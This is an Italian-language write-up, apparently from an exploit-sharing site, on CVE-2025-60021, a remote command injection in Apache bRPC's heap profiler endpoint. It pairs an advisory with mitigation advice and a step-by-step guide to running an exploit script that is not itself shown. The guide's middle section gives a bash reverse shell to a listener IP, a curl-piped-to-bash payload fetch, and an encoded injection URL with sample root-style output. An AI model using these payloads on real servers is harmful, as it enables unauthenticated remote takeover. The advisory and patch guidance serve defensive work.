🛑 CVE-2025-60021 — Iniezione Remota di Comandi in Apache bRPC

📌 Panoramica

CVE-2025-60021 è una vulnerabilità critica di iniezione remota di comandi presente nel servizio integrato di heap profiler (/pprof/heap) di Apache bRPC nelle versioni precedenti alla 1.15.0, che consente ad attaccanti non autenticati di eseguire comandi arbitrari del sistema operativo. (NVD)

🔓 Dettagli della Vulnerabilità

❗Gli attaccanti possono iniettare comandi da remoto semplicemente manipolando questo parametro di profilazione.

🚨 Gravità e Rischio

🔥 Valutazione di Gravità: Critica 📊 Punteggio Base CVSS v3.1: 9.8 / 10 Vettore: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)

👉 Ciò significa che gli attaccanti possono eseguire comandi arbitrari da remoto senza autenticazione: uno scenario da worst-case per i servizi esposti.

🧠 Analisi Tecnica

🔍 Come Funziona

1. Esposizione dell'Heap Profiler: bRPC espone un endpoint di profilazione (/pprof/heap) destinato all'analisi della memoria (jemalloc). (openwall.com)
2. Bug nella Gestione dell'Input: L'endpoint accetta un parametro extra_options. Invece di sanificarlo, bRPC lo passa direttamente alla shell del sistema operativo. (openwall.com)
3. Iniezione di Comandi: Un attore malintenzionato costruisce un input che include comandi di sistema → il servizio li esegue. (CVE Details)

Guida Passo-Passo all'Utilizzo dello Script PoC CVE-2025-60021

Si presuppone che tu abbia salvato lo script come CVE-2025-60021.py (anche se il CVE reale è 2025-60021—sentiti libero di rinominarlo). È uno script Python 3 per dimostrare la vulnerabilità di iniezione remota di comandi nell'heap profiler di Apache bRPC. Esegui questo script solo su sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta al test: sfruttare la vulnerabilità senza autorizzazione è illegale.

Prerequisiti

1. Ambiente Python: Assicurati di avere Python 3 installato (es. 3.6+). Lo script utilizza moduli integrati più requests e argparse (che sono standard o facili da installare).

2. Installa le Dipendenze: Se non è già presente, installa la libreria requests:

   root@kitploit:~

   pip install requests
   

3. Configurazione del Target: Hai bisogno di un server Apache bRPC vulnerabile:

   • Versione < 1.15.0.
   • Heap profiler abilitato (controlla la configurazione del server; spesso è attivo per impostazione predefinita negli ambienti di sviluppo).
   • Accessibile tramite rete (es. http://localhost:8060 o un IP/porta remoti). Se testi in locale, configura un'istanza bRPC vulnerabile (es. tramite Docker o build dal sorgente—fai riferimento alla documentazione di Apache bRPC).

4. Permessi: Esegui con sudo solo se necessario per l'accesso di rete o i privilegi; altrimenti, il semplice python3 è sufficiente.

Passo 1: Salva lo Script

Copia il codice PoC fornito in precedenza in un file denominato CVE-2025-60021.py. Rendilo eseguibile se lo desideri:

chmod +x CVE-2025-60021.py

Passo 2: Comprendi gli Argomenti

Lo script accetta due argomenti posizionali obbligatori:

• target: L'URL del server bRPC vulnerabile (es. http://192.168.1.100:8060 o http://targets:8060—correggi eventuali refusi come schema mancante o host non valido).
• cmd: Il comando da eseguire sul target (es. "id" per le informazioni utente, o qualcosa di più complesso come "curl http://your-server/reverse-shell.sh | bash" per una reverse shell). Usa && o ; per concatenare più comandi.

Passo 3: Esegui lo Script

Apri un terminale (es. in Kali Linux, come stai facendo) ed eseguilo con il tuo target e comando. Comandi di esempio:

• Test di base (ottieni informazioni di sistema):

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
  

• Esempio di reverse shell (sostituisci your-listener-ip e la porta; configura prima un listener come nc -lvnp 4444):

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
  

• Se usi HTTPS o una porta diversa, regola l'URL di conseguenza (es. https://target:443—lo script lo gestisce, ma aggiungi --insecure se ci sono problemi di certificato).

Passo 4: Interpreta l'Output

Indicatori di Successo:

• L'exploit probabilmente è riuscito! (200 OK)
• Possibile output del comando nel corpo della risposta (es. uid=0(root)... se ha eseguito id).
• Per i comandi senza output (es. scrittura di file o shell), controlla il server target (log, processi) o il tuo listener.

Indicatori di Errore (come quelli che hai visto):

• Ricevuto codice di stato 404 - forse non è vulnerabile?"
• Messaggi di errore come "[E1002] Heap profiler is not enabled" significano che l'endpoint non è attivo—abilitalo sul target o trova un'altra istanza vulnerabile.
• Timeout o errori di connessione: target irraggiungibile, firewall che blocca o porta errata.
• Se non trapela alcun output, il comando viene comunque eseguito silenziosamente sul server.

Passo 5: Risoluzione dei Problemi Comuni

• Errore 404: Heap profiler disabilitato. Abilitalo nella configurazione di bRPC (es. --enable_heap_profiler=true) e riavvia il server.
• Errore Argparse: Hai dimenticato l'argomento cmd—includilo sempre.
• Nessun Output nel Corpo della Risposta: Alcuni comandi non producono stdout. Usa quelli che lo producono (es. echo "test" > /tmp/proof.txt) e verifica il file sul target.
• Privilegi: Se il processo bRPC viene eseguito come utente non-root, i comandi sono limitati ai permessi di quell'utente.
• Modifiche al Payload: Se ; non funziona, prova && o | per la concatenazione. Codifica nell'URL i caratteri speciali se necessario (lo script gestisce la maggior parte).
• Test in Locale: Avvia un container Docker vulnerabile per bRPC per verificare senza mettere a rischio i sistemi reali.

Passo 6: Pulizia e Note Etiche

• Dopo il test, applica la patch al target: aggiorna a bRPC 1.15.0+ o disabilita /pprof/heap.
• Elimina eventuali artefatti (es. shell o file creati).
• Registra i tuoi test per conformità se stai facendo penetration testing.

Se l'exploit ha avuto successo su un target vulnerabile (es. heap profiler abilitato, bRPC non patchato <1.15.0), l'output nel tuo terminale apparirà più o meno così (i dettagli esatti dipendono dallo stdout del comando e dalla configurazione del server):

[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output

Response body (possible command output):

uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux

[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]

I segni chiave: stato 200 OK e, se il tuo comando (come id && whoami && uname -a) produce output, potrebbe apparire nel corpo della risposta (mescolato ai dati spuri del profiler). Per i comandi silenziosi (es. reverse shell), controlla il server target o il tuo listener per attività: nessuna conferma diretta dal terminale oltre al 200. 😈

🛠 Mitigazione e Correzioni

✅ Soluzione Principale

• 👉 Aggiorna Apache bRPC alla versione 1.15.0 o successiva. (NVD)

🧩 Correzione Alternativa

• 🛠 Applica manualmente la patch ufficiale dal repository GitHub di Apache bRPC (Pull Request #3101). (openwall.com)

🔒 Protezioni Aggiuntive

• Firewall / ACL: Blocca l'accesso a /pprof/heap da reti non fidate.
• Disabilita la Profilazione: Disattiva la profilazione dell'heap dove non necessario.
• Monitora i Log: Controlla attività insolite del profiler.

💡 Perché Questo È Pericoloso

✔ Gli attaccanti non hanno bisogno di credenziali. ✔ Funziona tramite la rete. ✔ Colpisce tutte le piattaforme che utilizzano bRPC vulnerabile. ✔ Può portare alla compromissione totale del sistema.

Le aziende che utilizzano bRPC per servizi critici (es. ricerca, storage, pipeline di machine learning) sono particolarmente a rischio perché questa falla trasforma uno strumento diagnostico in un vettore di attacco. (Daily CyberSecurity)

🧾 Note Aggiuntive

⚠ EPSS (Exploit Prediction): Alcuni feed indicano finora una bassa osservazione di exploit, ma la facilità di sfruttamento significa che potrebbe essere utilizzato rapidamente in attacchi reali. (Tenable®)

📌 Classificazione: CWE-77 — Neutralizzazione Impropria di Elementi Speciali in un Comando (Command Injection). (NVD)

📎 Riferimenti

• NIST/NVD voce sulla vulnerabilità per CVE-2025-60021 (NVD)
• Apache & Openwall Security Advisory dettagli (openwall.com)
• INCIBE-CERT ripartizione CVSS e metriche (INCIBE)
• Panoramica CVE Details (versioni interessate e indicazioni sulla correzione) (CVE Details)

Se stai eseguendo Apache bRPC in produzione — applica subito la patch e limita l'accesso agli endpoint diagnostici per ridurre il rischio.